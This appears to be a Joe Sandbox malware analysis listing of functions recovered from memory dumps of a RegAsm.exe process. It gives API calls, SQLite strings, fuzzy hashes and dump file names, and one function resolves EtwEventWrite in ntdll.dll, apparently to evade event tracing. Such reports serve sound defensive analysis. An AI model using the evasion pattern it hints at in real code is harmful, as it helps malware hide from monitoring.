Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO %Q.%Q(%Q) VALUES('flush')
API String ID: 0-2312637080
Opcode ID: 3bf80ed8a263be57abbebdffd59fba5695c6107fba21a294e49d1b17a8a508e3
Instruction ID: 9e8d19b2c6045c8ef0169c31a2c29bdcc720bb5807728f58857438cb04ad8888
Opcode Fuzzy Hash: 3bf80ed8a263be57abbebdffd59fba5695c6107fba21a294e49d1b17a8a508e3
Instruction Fuzzy Hash: 39019E362043825ED321866EFC80F97B7E8EBC4225F09056EF5ADC2606D361A8868261

Function 1FEE0D70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

INSERT INTO %Q.%Q(%Q) VALUES('flush'), xrefs: 1FEE0D87

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO %Q.%Q(%Q) VALUES('flush')
API String ID: 0-2312637080
Opcode ID: b61b2df51de932287f84b7bf8f0cae20082ee5c50e980bcf2e268cf36993151d
Instruction ID: 45593e58dbe72de0a59b83ed48054cd41a78190362aa3193953ea32fdb17a0e6
Opcode Fuzzy Hash: b61b2df51de932287f84b7bf8f0cae20082ee5c50e980bcf2e268cf36993151d
Instruction Fuzzy Hash: 30014676204300AFE3209A59EC80F42B7E9EB88728F05456CF68DAB240E776BC468760

Function 1FEBEF30 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEBEFB5
misuse, xrefs: 1FEBEFB0
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEBEFA6

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 0a7286adac9847654e4ec5eb2c6a3b74f2236234f3872260c04aec98d5fc6d32
Instruction ID: 33f2e98210bfbab551a7c541f138a31c0b522232fb7d329e6996795e06c33f9c
Opcode Fuzzy Hash: 0a7286adac9847654e4ec5eb2c6a3b74f2236234f3872260c04aec98d5fc6d32
Instruction Fuzzy Hash: DE01F9B1A09B119FF7008F08DC08B8A3BE5BF81309F054028E6446B361D735F445E7D6

Function 1FF29180 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

%s_stat, xrefs: 1FF29192

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s_stat
API String ID: 0-920702477
Opcode ID: 3c38e528a4886e4c932d14ab3c7ef9f0d18090f18d9cc0e0a527d49a83821811
Instruction ID: 270ef02c7377d5fa3a99290c08f4a31ea8a603e7b66a8c71e5bb467b53b48f49
Opcode Fuzzy Hash: 3c38e528a4886e4c932d14ab3c7ef9f0d18090f18d9cc0e0a527d49a83821811
Instruction Fuzzy Hash: 6FF02733B043523BE71046BEFC80B4AEBD6BF40161F454639F80CA2144D352FC9153A1

Function 1FED7F70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN), xrefs: 1FED7F76

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN)
API String ID: 0-3072645960
Opcode ID: c3cf8b90f652514dc93c4162b11caa95d06367d91b0c9201bd91514db4cc9992
Instruction ID: 7f76f582f6f6e14d8cf8ed1d945a496c4fbab569b536f50f9b35e6fb2802071f
Opcode Fuzzy Hash: c3cf8b90f652514dc93c4162b11caa95d06367d91b0c9201bd91514db4cc9992
Instruction Fuzzy Hash: 48F0F03A6443429AD7115F19FC02BCABB91EFC0321F19053AF9449A280E760B88683A1

Function 2006066B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,20060513,?,?,?,?,?,?,200607BD,00000003,FlsSetValue,200D7770,200D7778), ref: 20060678
GetLastError.KERNEL32(?,20060513,?,?,?,?,?,?,200607BD,00000003,FlsSetValue,200D7770,200D7778), ref: 20060682
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 200606AA

Strings

api-ms-, xrefs: 2006068F

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: af8ed9d091286b25ae6e29483bd2e8b8326c0c311ce128f7c5a4283f2d0aa6ac
Instruction ID: 0fc83f2909e83216812469940a77d3011120f8a721643875a79e0a7b97dda553
Opcode Fuzzy Hash: af8ed9d091286b25ae6e29483bd2e8b8326c0c311ce128f7c5a4283f2d0aa6ac
Instruction Fuzzy Hash: 7BE04871684305BBFB101FA1DC09F093B95AB41750F504430FE0CE41B2DB75AD70E958

Function 00411C19 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004121BB,?), ref: 00411C24
RtlAllocateHeap.NTDLL(00000000), ref: 00411C2B
wsprintfW.USER32 ref: 00411C3C

Strings

%hs, xrefs: 00411C36

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ab6b745f89120b46f1c236c0b6486e08be1f578a0b53e3461d4f6e77b9bf4619
Instruction ID: 44e062ba1194341307852e145c0a571a90519582ce69dfc86481057a5e4b401f
Opcode Fuzzy Hash: ab6b745f89120b46f1c236c0b6486e08be1f578a0b53e3461d4f6e77b9bf4619
Instruction Fuzzy Hash: D1D05E3238021477C62027D4AC0DF9A3F68EB066A2F800030FA0DC5162CA65441D47ED

Function 004013E6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004013F2
GetDeviceCaps.GDI32(00000000,0000000A), ref: 004013FD
ReleaseDC.USER32(00000000,00000000), ref: 00401406

Strings

DISPLAY, xrefs: 004013ED

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 4955fb2ccc0d6eb0da836eaec1093576613168e54fc42140d1cb0cb385003172
Instruction ID: bd6096ccbea309e3c6f639b87a86b9c3b2bc45cc31e575e650a44761e53cc6fe
Opcode Fuzzy Hash: 4955fb2ccc0d6eb0da836eaec1093576613168e54fc42140d1cb0cb385003172
Instruction Fuzzy Hash: AED0C9353C0240B6E2301B50BC0EF5B297497C6F02FA00034F2029A0D146A01407A53E

Function 004018A5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018AA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018BB

Strings

ntdll.dll, xrefs: 004018A5
EtwEventWrite, xrefs: 004018B5

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: 72fb2f8eaa246d97cf7b4362f305fd3fbbb1535b8937838a1cd816aee7545a26
Instruction ID: f63da20da0ae9c5471d69e09bb0319fb05345f8c156e7b72865ffcbc8e4a1937
Opcode Fuzzy Hash: 72fb2f8eaa246d97cf7b4362f305fd3fbbb1535b8937838a1cd816aee7545a26
Instruction Fuzzy Hash: C4B0927474020096DE206BB96E8DE06AA687A48B027E050B6A50AD01A2E7ED9909951C

Function 1FFB6B50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9COMMON

Download Yara Rule

Strings

cannot open file, xrefs: 1FFB6B59
%s at line %d of [%.10s], xrefs: 1FFB6B5E
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFB6B50

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$cannot open file$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-1799306995
Opcode ID: b6b4f1b132eef8ce792e484d50fa3e6392c6653601fa823cac9d050f7f9d1359
Instruction ID: 71abd30d929e23162d6ae6e24229cf86b9fa2c51ded5147f6ea4111770dba83a
Opcode Fuzzy Hash: b6b4f1b132eef8ce792e484d50fa3e6392c6653601fa823cac9d050f7f9d1359
Instruction Fuzzy Hash: 98B092ABA503803AFA003DD4CE81F9A2C10F75060DFC1C899B74D3A3AEE196C2908232

Function 1FFBA570 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFBA57E
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFBA570
database corruption, xrefs: 1FFBA579

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 559941e9fa38be653e92cfef097ec0a9b61b10fc71872888527c25568e56e73a
Instruction ID: 9a7f62c6597418dbe8d7f384115238357f396f73407087c4cb4c0e8ca4c0c140
Opcode Fuzzy Hash: 559941e9fa38be653e92cfef097ec0a9b61b10fc71872888527c25568e56e73a
Instruction Fuzzy Hash: 4EB092AB91030036FA0039D48E81F9B3C10F750609FC2C859B70D2A39AE22686108272

Function 1FF125E0 Relevance: 6.4, APIs: 4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8abd7606b641e949e8cb492c75798daed5aa7da8d63c1510aacb2b46747406
Instruction ID: e6be86dcc7cff2d6fba83f579257c30f32adb00d90ba1b7e0d783d8cfdc5abcf
Opcode Fuzzy Hash: fe8abd7606b641e949e8cb492c75798daed5aa7da8d63c1510aacb2b46747406
Instruction Fuzzy Hash: B2D184B5608B019BF700DF69CD4CA9A77A8FF04305F000629E905C6261EF79E559FBE6

Function 200A67F5 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(DF56A1F9,00000000,00000000,?), ref: 200A6858
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 200A6AAA
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 200A6AF0
GetLastError.KERNEL32 ref: 200A6B93

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 15cc00b99b351a6967d757accb8743717e917c429a999935ba30a103c817391a
Instruction ID: 9a042e8eeacd7c8ab16e0b40d5f49498bca33b783684e9a08215eb2a792931eb
Opcode Fuzzy Hash: 15cc00b99b351a6967d757accb8743717e917c429a999935ba30a103c817391a
Instruction Fuzzy Hash: CFD179B5D04248AFEB05CFE8C8849ADBBB5FF09310F14456AE616EB351D734A941CB60

Function 1FF58EB0 Relevance: 6.2, APIs: 4, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c774c47b6a9675dd65075952b293d755934f43d5f614443fa3833aee0961d51
